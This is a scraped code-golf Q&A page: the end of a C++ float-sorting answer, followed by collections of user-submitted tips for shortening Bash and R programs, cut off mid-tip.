erf() function twice for every value. The first and third passes are potentially parallelizable. The second is highly serial and is probably slowed down by its highly random memory access patterns. It also might be worthwhile to cache each double's bin number, depending on the CPU power to memory speed ratio. This program lets you choose the number of bins to use. Just add a second number to the command line. I compiled it with gcc -O3, but my machine's so feeble I can't tell you any good performance numbers. **Edit:** Poof! My C program has magically transformed into a C++ program using std::sort! [Answer] Have a look at the radix sort implementation by Michael Herf ([Radix Tricks](http://stereopsis.com/radix.html)). On my machine sorting was 5 times faster compared to the `std::sort` algorithm in my first answer. The name of the sorting function is `RadixSort11`. ``` int main(void) { std::ifstream ifs("C:\\Temp\\gaussian.dat", std::ios::binary | std::ios::in); std::vector<float> v; v.reserve(50000000); double d; while (ifs.read(reinterpret_cast<char*>(&d), sizeof(double))) v.push_back(static_cast<float>(d)); std::vector<float> vres(v.size(), 0.0); clock_t c0 = clock(); RadixSort11(&v[0], &vres[0], v.size()); std::cout << "Finished after: " << static_cast<double>(clock() - c0) / CLOCKS_PER_SEC << std::endl; return 0; } ``` ]
[Question] [ What general tips do you have for golfing in Bash? I'm looking for ideas that can be applied to code golf problems in general that are at least somewhat specific to Bash (e.g. "remove comments" is not an answer). Please post one tip per answer. [Answer] ***Undocumented***, but works in every version I've run into for legacy `sh` backwards compatibility: `for` loops allow you to use `{` `}` instead of `do` `done`. E.g. replace: ``` for i in {1..10};do echo $i; done ``` with: ``` for i in {1..10};{ echo $i;} ``` [Answer] For arithmetic expansion use `$[…]` instead of `$((…))`: ``` bash-4.1$ echo $((1+2*3)) 7 bash-4.1$ echo $[1+2*3] 7 ``` In arithmetic expansions don't use `$`: ``` bash-4.1$ a=1 b=2 c=3 bash-4.1$ echo $[$a+$b*$c] 7 bash-4.1$ echo $[a+b*c] 7 ``` Arithmetic expansion is performed on indexed array subscripts, so don't use `$` neither there: ``` bash-4.1$ a=(1 2 3) b=2 c=3 bash-4.1$ echo ${a[$c-$b]} 2 bash-4.1$ echo ${a[c-b]} 2 ``` In arithmetic expansions don't use `${…}`: ``` bash-4.1$ a=(1 2 3) bash-4.1$ echo $[${a[0]}+${a[1]}*${a[2]}] 7 bash-4.1$ echo $[a[0]+a[1]*a[2]] 7 ``` [Answer] The normal, lengthy and boring way to define a function is ``` f(){ CODE;} ``` As [this guy](//stackoverflow.com/q/21186724 "Why is whitespace sometimes needed around metacharacters?") found out, you absolutely need the space before `CODE` and the semicolon after it. This is a little trick I've learned from [@DigitalTrauma](/users/11259): ``` f()(CODE) ``` That is two characters shorter and it works just as well, provided that you don't need to carry over any changes in variables' values after the function returns ([the parentheses run the body in a subshell](https://codegolf.stackexchange.com/a/20939)). As [@jimmy23013](https://codegolf.stackexchange.com/users/25180/user23013) points out in the comments, even the parentheses may be unnecessary. The [Bash Reference Manual](http://www.gnu.org/software/bash/manual/bashref.html#Shell-Functions "Bash Reference Manual # 3.3 Shell Functions") shows that functions can be defined as follows: > > > ``` > name () compound-command [ redirections ] > > ``` > > or > > > > ``` > function name [()] compound-command [ redirections ] > > ``` > > A [compound command](http://www.gnu.org/software/bash/manual/bashref.html#Compound-Commands "Bash Reference Manual # 3.2.4 Compound Commands") can be: * a Looping Construct: `until`, `while` or `for` * a Conditional Construct: `if`, `case`, `((...))` or `[[...]]` * Grouped Commands: `(...)` or `{...}` That means all of the following are valid: ``` $ f()if $1;then $2;fi $ f()($1&&$2) $ f()(($1)) # This one lets you assign integer values ``` And I've been using curly brackets like a sucker... [Answer] `:` is a command that does nothing, its exit status always succeeds, so it can be used instead of `true`. [Answer] More tips 1. Abuse the ternary operator, `((test)) && cmd1 || cmd2` or `[ test ] && cmd1 || cmd2`, as much as possible. Examples (length counts always exclude the top line): ``` t="$something" if [ $t == "hi" ];then cmd1 cmd2 elif [ $t == "bye" ];then cmd3 cmd4 else cmd5 if [ $t == "sup" ];then cmd6 fi fi ``` By using ternary operators only, this can easily be shortened to: ``` t="$something" [ $t == "hi" ]&&{ cmd1;cmd2 }||[ $t == "bye" ]&&{ cmd3;cmd4 }||{ cmd5 [ $t == "sup" ]&&cmd6 } ``` As nyuszika7h pointed out in the comments, this specific example could be shortened even further using `case`: ``` t="$something" case $t in "hi")cmd1;cmd2;;"bye")cmd3;cmd4;;*)cmd5;[ $t == "sup" ]&&cmd6;esac ``` 1. Also, prefer parentheses to braces as much as possible. Since parentheses are a metacharacter, and not a word, they never require spaces in any context. This also means run as many commands in a subshell as possible, because curly braces (i.e. `{` and `}`) are reserved words, not meta-characters, and thus have to have whitespace on both sides to parse correctly, but meta-characters don't. I assume that you know by now that subshells don't affect the parent environment, so assuming that all the example commands can safely be run in a subshell (which isn't typical in any case), you can shorten the above code to this: ``` t=$something [ $t == "hi" ]&&(cmd1;cmd2)||[ $t == "bye" ]&&(cmd3;cmd4)||(cmd5;[ $t == "sup" ]&&cmd6) ``` Also, if you can't, using parentheses can still minify it some. One thing to keep in mind is that it only works for integers, which renders it useless for the purposes of this example (but it is much better than using `-eq` for integers). 1. One more thing, avoid quotes where possible. Using that above advice, you can further minify it. Example: ``` t=$something [ $t == hi ]&&(cmd1;cmd2)||[ $t == bye ]&&(cmd3;cmd4)||(cmd5;[ $t == sup ]&&cmd6) ``` 2. In testing conditions, prefer single brackets to double brackets as much as possible with a few exceptions. It drops two characters for free, but it isn't as robust in some cases (it's a Bash extension - see below for an example). Also, use the single equals argument rather than the double. It is a free character to drop. ``` [[ $f == b ]]&&: # ... <-- Bad [ $f == b ]&&: # ... <-- Better [ $f = b ]&&: # ... <-- Best. word splits and pathname-expands the contents of $f. Esp. bad if it starts with - ``` Note this caveat, especially in checking for null output or an undefined variable: ``` [[ $f ]]&&: # double quotes aren't needed inside [[, which can save chars [ "$f" = '' ]&&: <-- This is significantly longer [ -n "$f" ]&&: ``` In all technicality, this specific example would be best with `case` ... `in`: ``` t=$something case $t in hi)cmd1;cmd2;;bye)cmd3;cmd4;;*)cmd5;[ $t == sup ]&&cmd6;esac ``` So, the moral of this post is this: 1. Abuse the boolean operators as much as possible, and **always** use them instead of `if`/`if-else`/etc. constructs. 2. Use parentheses as much as possible and run as many segments as possible in subshells because parentheses are meta-characters and not reserved words. 3. Avoid quotes as much as physically possible. 4. Check out `case` ... `in`, since it may save quite a few bytes, particularly in string matching. P.S.: Here's a list of meta-characters recognized in Bash regardless of context (and can separate words): ``` < > ( ) ; & | <space> <tab> ``` --- EDIT: As manatwork pointed out, the double parenthesis test only works for integers. Also, indirectly, I found that you need to have whitespace surrounding the `==` operator. Corrected my post above. I also was too lazy to recalculate the length of each segment, so I simply removed them. It should be easy enough to find a string length calculator online if necessary. [Answer] Avoid `$( ...command... )`, there is an alternative which saves one char and does the same thing: ``` ` ...command... ` ``` [Answer] If you need to pass the content of a variable to STDIN of the next process in a pipeline, it is common to echo the variable into a pipeline. But you can achieve the same thing with a `<<<` [bash here string](http://www.gnu.org/software/bash/manual/bashref.html#Here-Strings): ``` $ s="code golf" $ echo "$s"|cut -b4-6 e g $ cut -b4-6<<<"$s" e g $ ``` [Answer] # One-line `for` loops An arithmetic expression concatenated with a range expansion will be evaluated for each item in the range. For example the following: ``` : $[expression]{0..9} ``` will evaluate `expression` 10 times. This is often significantly shorter than the equivalent `for` loop: ``` for((;10>n++;expression with n)){ :;} : $[expression with ++n]{0..9} ``` If you don't mind command not found errors, you can remove the inital `:`. For iterations larger than 10, you can also use character ranges, for example `{A..z}` will iterate 58 times. As a practical example, the following both produce the first 50 triangular numbers, each on their own line: ``` for((;50>d++;)){ echo $[n+=d];} # 31 bytes printf %d\\n $[n+=++d]{A..r} # 28 bytes ``` [Answer] Instead of `grep -E`, `grep -F`, `grep -r`, use `egrep`, `fgrep`, `rgrep`, saving two chars. The shorter ones are deprecated but work fine. (You did ask for one tip per answer!) [Answer] Element 0 of an array may be accessed with the variable name only, a five byte saving over explicitly specifying an index of 0: ``` $ a=(code golf) $ echo ${a[0]} code $ echo $a code $ ``` [Answer] ### Use arithmetic `(( ... ))` for conditions You could replace: ``` if [ $i -gt 5 ] ; then echo Do something with i greater than 5 fi ``` by ``` if((i>5));then echo Do something with i greater than 5 fi ``` (Note: There is no space after `if`) or even ``` ((i>5))&&{ echo Do something with i greater than 5 } ``` ... or if only one command ``` ((i>5))&&echo Echo or do something with i greater than 5 ``` ### Further: Hide variable setting in arithmetic construct: ``` ((i>5?c=1:0))&&echo Nothing relevant there... # ... ((c))&&echo Doing something else if i was greater than 5 ``` or same ``` ((c=i>5?c=0,1:0))&&echo Nothing relevant there... # ... ((c))&&echo Doing something else if i was greater than 5 ``` ... where *if i > 5, then c = 1* (not 0;) [Answer] A shorter syntax for infinite loops (which can be escaped with `break` or `exit` statements) is ``` for((;;)){ code;} ``` This is shorter than `while true;` and `while :;`. If you don't need `break` (with `exit` as the only way to escape), you can use a recursive function instead. ``` f(){ code;f;};f ``` If you do need break, but you don't need exit and you don't need to carry over any variable modification outside the loop, you can use a recursive function [with parentheses around the body](https://codegolf.stackexchange.com/a/20939), which run the function body in a subshell. ``` f()(code;f);f ``` [Answer] # Loop over arguments As noted in [Bash “for” loop without a “in foo bar…” part](https://unix.stackexchange.com/q/417292/11630), the `in "$@;"` in `for x in "$@;"` is redundant. From [`help for`](https://tio.run/##S0oszvj/PyM1p0AhLb/o/38A "Bash – Try It Online"): ``` for: for NAME [in WORDS ... ] ; do COMMANDS; done Execute commands for each member in a list. The `for' loop executes a sequence of commands for each member in a list of items. If `in WORDS ...;' is not present, then `in "$@"' is assumed. For each element in WORDS, NAME is set to that element, and the COMMANDS are executed. Exit Status: Returns the status of the last command executed. ``` For example, if we want to square all numbers given positional arguments to a Bash script or a function, we can do this. ``` for n;{ echo $[n*n];} ``` [Try it online!](https://tio.run/##S0oszvj/Py2/SCHPulohNTkjX0ElOk8rL9a69v///0ZG/42Njf@bAAEA "Bash – Try It Online") [Answer] # Use `if` to group commands Compared to [this tip](https://codegolf.stackexchange.com/a/20939/25180) which removes the `if` at all, this should only work better in some very rare cases, such as when you need the return values from the `if`. If you have a command group which ends with a `if`, like these: ``` a&&{ b;if c;then d;else e;fi;} a&&(b;if c;then d;else e;fi) ``` You can wrap the commands before `if` in the condition instead: ``` a&&if b;c;then d;else e;fi ``` Or if your function ends with a `if`: ``` f(){ a;if b;then c;else d;fi;} ``` You can remove the braces: ``` f()if a;b;then c;else d;fi ``` [Answer] # Use `[` instead of `[[` and `test` when possible **Example:** ``` [ -n $x ] ``` # Use `=` instead of `==` for comparison **Example:** ``` [ $x = y ] ``` Note that you **must** have spaces around the equals sign or else it won't work. Same applies to `==` based on my tests. [Answer] # Alternative to cat Say you are trying to read a file and use it in something else. What you might do is: ``` echo foo `cat bar` ``` If the contents of `bar` was `foobar`, this would print `foo foobar`. However, there is an alternative if you are using this method, which saves 3 bytes: ``` echo foo `<bar` ``` [Answer] Sometimes it is shorter to use the `expr` builtin for displaying the result of a simple arithmetic expression instead of the usual `echo $[ ]`. For example: ``` expr $1 % 2 ``` is one byte shorter than: ``` echo $[$1%2] ``` [Answer] # Shorten file names In a recent challenge I was trying to read the file `/sys/class/power_supply/BAT1/capacity`, however this can be shortened to `/*/*/*/*/capac*y` as no other file exists with that format. For example, if you had a directory `foo/` containing the files `foo, bar, foobar, barfoo` and you wanted to reference the file `foo/barfoo`, you can use `foo/barf*` to save a byte. The `*` represents "anything", and is equivalent to the regex `.*`. [Answer] ## `tr -cd` is shorter than `grep -o` For example, if you need to count spaces, `grep -o <char>` (print only the matched) gives 10 bytes while `tr -cd <char>` (delete complement of `<char>`) gives 9. ``` # 16 bytes grep -o \ |wc -l # 15 bytes tr -cd \ |wc -c ``` ([source](https://codegolf.stackexchange.com/a/167212/41805 "link to answer where tr is better than grep")) Note that they both give slightly different outputs. `grep -o` returns line separated results while `tr -cd` gives them all on the same line, so `tr` might not always be favourable. [Answer] Use tail recursion to make loops shorter: These are equivalent in behavior (though probably not in memory/PID usage): ``` while :;do body; done f()(body;f);f body;exec $0 body;$0 ``` And these are roughly equivalent: ``` while condition; do body; done f()(body;condition&&f);f body;condition&&exec $0 body;condition&&$0 ``` (technically the last three will always execute the body at least once) Using `$0` requires your script to be in a file, not pasted into the bash prompt. Eventually your stack might overflow, but you save some bytes. [Answer] # Alternatives to `head` `line` is three bytes shorter than `head -1`, but is being [deprecated](https://git.kernel.org/cgit/utils/util-linux/util-linux.git/tree/Documentation/deprecated.txt#n57). `sed q` is two bytes shorter than `head -1`. `sed 9q` is one byte shorter than `head -9`. [Answer] Use a pipe to the `:` command instead of `/dev/null`. The `:` built-in will eat all its input. [Answer] `split` has another (deprecated, but nobody cares) syntax for splitting input into sections of `N` lines each: instead of `split -lN` you can use `split -N` e.g. `split -9`. [Answer] ### Expand away the tests Essentially, the shell is a kind of macro language, or at least a hybrid or some kind. Every command-line can be basically broken into two parts: the parsing/input part and the expansion/output part. The first part is what most people focus on because it's the most simple: you see what you get. The second part is what many avoid ever even trying to understand very well and is why people say things like *`eval` is evil* and *always quote your expansions* - people want the result of the first part to equal the first. That's ok - but it leads to unnecessarily long code branches and tons of extraneous testing. Expansions are *self-testing*. The *`${param[[:]#%+-=?]word}`* forms are more than enough to validate the contents of a parameter, are nestable, and are all based around evaluating for *NUL* - which is what most people expect of tests anyway. `+` can be especially handy in loops: ``` r()while IFS= read -r r&&"${r:+set}" -- "$@" "${r:=$*}";do :;done 2>&- IFS=x printf %s\\n some lines\ of input here '' some more|{ r;echo "$r"; } ``` --- ``` somexlines ofxinputxhere ``` ...while `read` pulls in not blank lines `"${r:+set}"` expands to `"set"` and the positionals get `$r` appended. But when a blank line is `read`, `$r` is empty and `"${r:+set}"` expands to `""` - which is an invalid command. But because the command-line is expanded *before* the `""` null command is searched, `"${r:=$*}"` takes the values of all of the positionals concatenated on the first byte in `$IFS` as well. `r()` could be called again in `|{` compound command `;}` w/ a different value for `$IFS` to get the next input paragraph as well, since it is illegal for a shell's `read` to buffer beyond the next `\n`ewline in input. [Answer] # Use `pwd` instead of `echo` to generate a line of output Need to put a line on stdout but don't care about the contents, and want to restrict your answer to shell builtins? `pwd` is a byte shorter than `echo`. [Answer] Quotes can be omitted when printing strings. ``` echo "example" echo example ``` Output in SM-T335 LTE, Android 5.1.1: ``` u0_a177@milletlte:/ $ echo "example" example u0_a177@milletlte:/ $ echo example example ``` [Answer] # Abuse function definitions to check for equality If you want to check if two strings are equal to each other, the obvious way is to use the `[[`/`test`/`[` builtins: ``` [[ $a == b ]] [[ $a = b ]] [ $a = b ] ``` But in fact often a shorter way is to define a do-nothing function under the name of `b` and then try to call it with `$a`. ``` b()(:);$a # zsh only: b():;$a ``` Depending on the possible values `$a` can take, you might need to add some characters to ensure that it never coincides with the name of a real command: ``` ,b()(:);,$a # zsh only: ,b();,$a ``` If you're testing and immediately using `&&`, then you can put generally put the command after the `&&` as the body of the function: ``` [ $a = b ]&&foo b()(foo);$a # zsh only: b()foo;$a ``` Here are a few answers I've abused this in (Zsh not Bash, but the same idea applies): * <https://codegolf.stackexchange.com/a/219018> * <https://codegolf.stackexchange.com/a/219167> [Answer] #### Output a string based on a test string or numeric test with `expr` From [my question](https://codegolf.stackexchange.com/q/258174/70305): For any form of test [`expr`](https://www.man7.org/linux/man-pages/man1/expr.1.html) supports (numerical or string equality, inequality, less than, greater than, regex pattern match, with support for math), there are often ways to use it to improve on the naive approach to echoing a particular string based on a given test. For example, the most straightforward approach to performing an "is a program argument a substring of a fixed string?" test, echoing the string `true` or `false` based on the result, assuming the substring contains no regex special characters, is: ``` [[ FIXEDSTRING =~ $1 ]]&&echo true||echo false ``` But with `expr`, we can shave off six characters by careful use of `&` and `|` to select the string that results from the overall test: ``` expr true \& FIXEDSTRING : .*$1 \| false ``` Changing the `*` to `\*` (and costing a character) if there is a possibility that the command will be run in a directory where `.*$1` would match existing files. The ordering is important here; `\&` evaluates to the *first* argument (not the second like in Python and similar language) when the overall "and" expression is true, so `true \&` must come before the pattern match test `FIXEDSTRING : .*$1`. The `.*` is needed because pattern matching is implicitly anchored at the beginning, as with `^`, so the `.*` lets it match anywhere. And no, sadly, you can't remove any of these spaces; `expr` expects each operand and operator to be a completely separate argument, so it doesn't need to do any tokenizing of its own, which means the spaces must be there so the shell can tokenize it. For the specific case of a regex match, you can shorten it four more characters with `sed`, : ``` sed "/$1/ctrue cfalse"<<<FIXEDSTRING ``` Similar uses allow replacing the various forms of numerical test and echo: ``` [ $1 -gt 0 ]&&echo yes||echo no [[ $1>0 ]]&&echo yes||echo no (($1>0))&&echo yes||echo no ``` with: ``` expr yes \& $1 \> 0 \| no ``` which, even with the need to escape the `>`, and despite numerical tests with `(())` allowing you to drop all whitespace, is still two characters shorter than the shortest of the naive approaches. If the comparison is more complex, you can mix-and-match: ``` expr yes \& $[$1>0] \| no ``` is the same length as the purely `expr`-based approach, but grows more slowly in more complex cases (as fewer things need escaping, and spaces aren't needed between terms). [Answer] When assigning noncontinuous array items, you can still skip the successive indices of continuous chunks: ``` bash-4.4$ a=([1]=1 [2]=2 [3]=3 [21]=1 [22]=2 [23]=3 [31]=1) bash-4.4$ b=([1]=1 2 3 [21]=1 2 3 [31]=1) ``` The result is the same: ``` bash-4.4$ declare -p a b declare -a a=([1]="1" [2]="2" [3]="3" [21]="1" [22]="2" [23]="3" [31]="1") declare -a b=([1]="1" [2]="2" [3]="3" [21]="1" [22]="2" [23]="3" [31]="1") ``` According to `man bash`: > > Arrays are assigned to using compound assignments of the form *name*=(value*1* ... value*n*), where each *value* is of the form [*subscript*]=*string*. Indexed array assignments do not require anything but *string*. When assigning to indexed arrays, if the optional brackets and subscript are supplied, that index is assigned to; otherwise the index of the element assigned is the last index assigned to by the statement plus one. > > > [Answer] ## Print the first word in a string If the string is in the variable `a` and doesn't contain escape and format characters (`\` and `%`), use this: ``` printf $a ``` But it would be longer than the following code if it is needed to save the result into a variable instead of printing: ``` x=($a) $x ``` ]
[Question] [ I'm looking for tips for golfing in the R statistical language. R is perhaps an unconventional choice for Golf. However, it does certain things very compactly (sequences, randomness, vectors, and lists), many of the built-in functions have [very short names](https://stackoverflow.com/questions/6979630/what-1-2-letter-object-names-conflict-with-existing-r-objects), and it has an optional line terminator (;). What tips and tricks can you give to help solve code golf problems in R? [Answer] Some tips: 1. In R, it's recommended to use `<-` over `=`. For golfing, the opposite holds since `=` is shorter... 2. If you call a function more than once, it is often beneficial to define a short alias for it: ``` as.numeric(x)+as.numeric(y) a=as.numeric;a(x)+a(y) ``` 3. Partial matching can be your friend, especially when functions return lists which you only need one item of. Compare `rle(x)$lengths` to `rle(x)$l` 4. Many challenges require you to read input. `scan` is often a good fit for this (the user ends the input by entring an empty line). ``` scan() # reads numbers into a vector scan(,'') # reads strings into a vector ``` 5. Coercion can be useful. `t=1` is much shorter than `t=TRUE`. Alternatively, `switch` can save you precious characters as well, but you'll want to use 1,2 rather than 0,1. ``` if(length(x)) {} # TRUE if length != 0 sum(x<3) # Adds all the TRUE:s (count TRUE) ``` 6. If a function computes something complicated and you need various other types of calculations based on the same core value, it is often beneficial to either: a) break it up into smaller functions, b) return all the results you need as a list, or c) have it return different types of values depending on an argument to the function. 7. As in any language, know it well - R has thousands of functions, there is probably some that can solve the problem in very few characters - the trick is to know which ones! Some obscure but useful functions: ``` sequence diff rle embed gl # Like rep(seq(),each=...) but returns a factor ``` Some built-in data sets and symbols: ``` letters # 'a','b','c'... LETTERS # 'A','B','C'... month.abb # 'Jan','Feb'... month.name # 'January','Feburary'... T # TRUE F # FALSE pi # 3.14... ``` [Answer] 1. Instead of importing a package with `library`, grab the variable from the package using `::` . Compare the followings: ``` library(splancs);inout(...) splancs::inout(...) ``` Of course, it is only valid if one single function is used from the package. 2. This is trivial but a rule of thumb for when to use @Tommy's trick of aliasing a function: if your function name has a length of `m` and is used `n` times, then alias only if `m*n > m+n+3` (because when defining the alias you spend `m+3` and then you still spend 1 everytime the alias is used). An example: ``` nrow(a)+nrow(b) # 4*2 < 4+3+2 n=nrow;n(a)+n(b) length(a)+length(b) # 6*2 > 6+3+2 l=length;l(a)+l(b) ``` 3. Coercion as side-effect of functions: * instead of using `as.integer`, character strings can be coerced to integer using `:` : ``` as.integer("19") ("19":1)[1] #Shorter version using force coercion. ``` * integer, numeric, etc. can be similarly coerced to character using `paste` instead of `as.character`: ``` as.character(19) paste(19) #Shorter version using force coercion. ``` [Answer] Some very specific golfing tips: * if you need to extract the length of a vector, `sum(x|1)` is shorter than `length(x)` as long as `x` is numeric, integer, complex or logical. * if you need to extract the last element of a vector, it may be cheaper (if possible) to initialise the vector *backwards* using `rev()` and then calling `x[1]` rather than `x[length(x)]` (or using the above tip, `x[sum(x|1)]`) (or `tail(x,1)` --- thanks Giuseppe!). A slight variation on this (where the second-last element was desired) can be seen [here](https://codegolf.stackexchange.com/a/163922/55516). Even if you can't initialise the vector backwards, `rev(x)[1]` is still shorter than `x[sum(x|1)]` (and it works for character vectors too). Sometimes you don't even need `rev`, for example using `n:1` instead of `1:n`. * (As seen [here](https://codegolf.stackexchange.com/a/96915/55516)). If you want to coerce a data frame to a matrix, don't use `as.matrix(x)`. Take the transpose of the transpose, `t(t(x))`. * `if` is a formal function. For example, `"if"(x<y,2,3)` is shorter than `if(x<y)2 else 3` (though of course, `3-(x<y)` is shorter than either). This only saves characters if you don't need an extra pair of braces to formulate it this way, which you often do. * For testing non-equality of numeric objects, `if(x-y)` is shorter than `if(x!=y)`. Any nonzero numeric is regarded as `TRUE`. If you are testing equality, say, `if(x==y)a else b` then try `if(x-y)b else a` instead. Also see the previous point. * The function `el` is useful when you need to extract an item from a list. The most common example is probably `strsplit`: `el(strsplit(x,""))` is one fewer byte than `strsplit(x,"")[[1]]`. * (As used [here](https://codegolf.stackexchange.com/a/97389/55516)) Vector extension can save you characters: if vector `v` has length `n` you can assign into `v[n+1]` without error. For example, if you wanted to print the first ten factorials you could do: `v=1;for(i in 2:10)v[i]=v[i-1]*i` rather than `v=1:10:for(...)` (though as always, there is another, better, way: `cumprod(1:10)`) * Sometimes, for text based challenges (particularly 2-D ones), it's easier to `plot` the text rather than `cat` it. the argument `pch=` to `plot` controls which characters are plotted. This can be shortened to `pc=` (which will also give a warning) to save a byte. Example [here](https://codegolf.stackexchange.com/a/91930/55516). * To take the floor of a number, don't use `floor(x)`. Use `x%/%1` instead. * To test if the elements of a numeric or integer vector are all equal, you can often use `sd` rather than something verbose such as `all.equal`. If all the elements are the same, their standard deviation is zero (`FALSE`) else the standard deviation is positive (`TRUE`). Example [here](https://codegolf.stackexchange.com/a/146481/55516). * Some functions which you would expect to require integer input actually don't. For example, `seq(3.5)` will return `1 2 3` (the same is true for the `:` operator). This can avoid calls to `floor` and sometimes means you can use `/` instead of `%/%`. * The most common function for text output is `cat`. But if you needed to use `print` for some reason, then you might be able to save a character by using `show` instead (which in most circumstances just calls `print` anyway though you forego any extra arguments like `digits`) * don't forget about complex numbers! The functions to operate on them (`Re`, `Im`, `Mod`, `Arg`) have quite short names which can occasionally be useful, and complex numbers as a concept can sometimes yield simple solutions to some calculations. * for functions with very long names (>13–15 characters), you can use `get` to get at the function. For example, in R 3.4.4 with no packages loaded other than the default, `get(ls(9)[501])` is more economical than `getDLLRegisteredRoutines`. This can also get around source code restrictions such as [this answer](https://codegolf.stackexchange.com/a/90666/55516). Note that using this trick makes your code R-version-dependent (and perhaps platform dependent), so make sure you include the version in your header so it can be reproduced if necessary. [Answer] 1. Abuse the builtins `T` and `F`. By default, they evaluate to `TRUE` and `FALSE`, which can be automatically converted to numerics `1` and `0`, and they can be re-defined at will. This means that you don't need to initialize a counter (e.g. `i=0` ... `i=i+1`), you can just use `T` or `F` as needed (and jump straight to `F=F+1` later). 2. Remember that functions return the last object called and do not need an explicit `return()` call. 3. Defining short aliases for commonly used functions is great, such as `p=paste`. If you use a function a lot, and with *exactly two* arguments, it is possible that an *infixing* alias will save you some bytes. Infixing aliases must be surrounded by `%`. For example: ``` `%p%`=paste ``` And subsequently `x%p%y`, which is 1 byte shorter than `p(x,y)`. The infixing alias definition is 4 bytes longer than the non-infixing `p=paste` though, so you have to be sure it's worth it. [Answer] # Using `if`, `ifelse`, and ``if`` There are several ways to do if-statements in R. Golf-optimal solutions can vary a lot. ### The basics 1. `if` is for control flow. It is not vectorized, i.e. can only evaluate conditions of length 1. It requires `else` to (optionally) return an else value. 2. `ifelse` is a function. It is vectorized, and can return values of arbitrary length. Its third argument (the else value) is obligatory.\* 3. ``if`` is a function, with the same syntax as `ifelse`. It is not vectorized, nor are any of the return arguments obligatory. \* It's not technically obligatory; `ifelse(TRUE,x)` works just fine, but it throws an error if the third argument is empty and the condition evaluates to `FALSE`. So it's only safe to use if you are sure that the condition is always `TRUE`, and if that's the case, why are you even bothering with an if-statement? ### Examples These are all equivalent: ``` if(x)y else z # 13 bytes ifelse(x,y,z) # 13 bytes `if`(x,y,z) # 11 bytes ``` Note that the spaces around `else` are not required if you are using strings directly in the code: ``` if(x)"foo"else"bar" # 19 bytes ifelse(x,"foo","bar") # 21 bytes `if`(x,"foo","bar") # 19 bytes ``` So far, ``if`` looks to be the winner, as long as we don't have vectorized input. But what about cases where we don't care about the else condition? Say we only want to execute some code if the condition is `TRUE`. For one line of code alone, `if` is usually best: ``` if(x)z=f(y) # 11 bytes ifelse(x,z<-f(y),0) # 19 bytes `if`(x,z<-f(y)) # 15 bytes ``` For multiple lines of code, `if` is still the winner: ``` if(x){z=f(y);a=g(y)} # 20 bytes ifelse(x,{z=f(y);a=g(y)},0) # 27 bytes `if`(x,{z=f(y);a=g(y)}) # 23 bytes ``` There's also the possibility where we *do* care about the else condition, and where we want to execute arbitrary code rather than return a value. In these cases, `if` and ``if`` are equivalent in byte count. ``` if(x)a=b else z=b # 17 bytes ifelse(x,a<-b,z<-b) # 19 bytes `if`(x,a<-b,z<-b) # 17 bytes if(x){z=y;a=b}else z=b # 22 bytes ifelse(x,{z=y;a=b},z<-b) # 24 bytes `if`(x,{z=y;a=b},z<-b) # 22 bytes if(x)a=b else{z=b;a=y} # 22 bytes ifelse(x,a<-b,{z=b;a=y}) # 24 bytes `if`(x,a<-b,{z=b;a=y}) # 22 bytes if(x){z=y;a=b}else{z=b;a=y} # 27 bytes ifelse(x,{z=y;a=b},{z=b;a=y}) # 29 bytes `if`(x,{z=y;a=b},{z=b;a=y}) # 27 bytes ``` ### Summary 1. Use `ifelse` when you have input of length > 1. 2. If you're returning a simple value rather than executing many lines of code, using the ``if`` function is probably shorter than a full `if`...`else` statement. 3. If you just want a single value when `TRUE`, use `if`. 4. For executing arbitrary code, ``if`` and `if` are usually the same in terms of byte count; I recommend `if` mainly because it's easier to read. [Answer] 1. You can assign a variable to the current environment while simultaneously supplying it as an argument to a function: ``` sum(x <- 4, y <- 5) x y ``` 2. If you are subseting a `data.frame` and your condition depends on several of its columns, you can avoid repeating the `data.frame` name by using `with` (or `subset`). ``` d <- data.frame(a=letters[1:3], b=1:3, c=4:6, e=7:9) with(d, d[a=='b' & b==2 & c==5 & e==8,]) ``` instead of ``` d[d$a=='b' & d$b==2 & d$c==5 & d$e==8,] ``` Of course, this only saves characters if the length of your references to the `data.frame` exceeds the length of `with(,)` 3. `if...else` blocks can return the value of the final statement in which ever part of the block executes. For instance, instead of ``` a <- 3 if (a==1) y<-1 else if (a==2) y<-2 else y<-3 ``` you can write ``` y <- if (a==1) 1 else if (a==2) 2 else 3 ``` [Answer] ## Do-while loops in R Occasionally, I find myself wishing R had a `do-while` loop, because: ``` some_code while(condition){ some_code # repeated } ``` is far too long and very un-golfy. However, we can recover this behavior and shave off some bytes with the power of the `{` function. `{` and `(` are each `.Primitive` functions in R. The documentation for them reads: > > Effectively, `(` is semantically equivalent to the identity `function(x) x`, whereas `{` is slightly more interesting, see examples. > > > and under Value, > > For `(`, the result of evaluating the argument. This has visibility set, so will auto-print if used at top-level. > > > For `{`, **the result of the last expression evaluated**. This has the visibility of the last evaluation. > > > (emphasis added) So, what does this mean? It means a do-while loop is as simple as ``` while({some_code;condition})0 ``` because the expressions inside `{}` are each evaluated, and only the *last one* is returned by `{`, allowing us to evaluate `some_code` before entering the loop, and it runs each time `condition` is `TRUE` (or truthy). The `0` is one of the many 1-byte expressions that forms the "real" body of the `while` loop. Additionally, this can be combined with `print` (which invisibly returns its argument) to repeatedly print an intermediate result until (and including) it reaches `0`. An example of this can be found [here](https://codegolf.stackexchange.com/a/218160/67312). [Answer] 1. **Save values in-line**: Others have mentioned that you can pass values in-order and assign them for use elsewhere, i.e. ``` sum(x<- 1:10, y<- seq(10,1,2)) ``` However, you can also *save* values inline for use *in the same line*! For instance ``` n=scan();(x=1:n)[abs(x-n/2)<4] ``` reads from `stdin`, creates a variable `x=1:n`, then indexes into `x` using that value of `x`. This can sometimes save bytes. 2. **Alias for the empty vector** You can use `{}` as the empty vector `c()` as they both return `NULL`. 3. **Base Conversion** For integer digits of `n` in base 10, use `n%/%10^(0:nchar(n))%%10`. This will leave a trailing zero, so if that is important to you, use `n%/%10^(1:nchar(n)-1)%%10` ot `n%/%10^(0:log10(n))`. This can be adapted to other bases, using `0:log(n,b)` instead of `log10(n)`. 4. **Using `seq` and `:`**: Rather than using `1:length(l)` (or `1:sum(x|1)`), you can use `seq(l)` as long as `l` is a `list` or `vector` of length greater than 1, as it defaults to `seq_along(l)`. If `l` is numeric and could potentially be length `1`, `seq(!l)` or `seq(a=l)` will [do the trick](https://codegolf.stackexchange.com/questions/206967/sum-the-array-times-n-except-the-last/207064#207064). Additionally, `:` will (with a warning) use the first element of its arguments. 5. **Removing attributes** Using `c()` on an `array` (or `matrix`) will do the same as `as.vector`; it generally removes non-name attributes. 6. **Factorial** Using `gamma(n+1)` is shorter than using `factorial(n)` and `factorial` is defined as `gamma(n+1)` anyway. 7. **Coin Flipping** 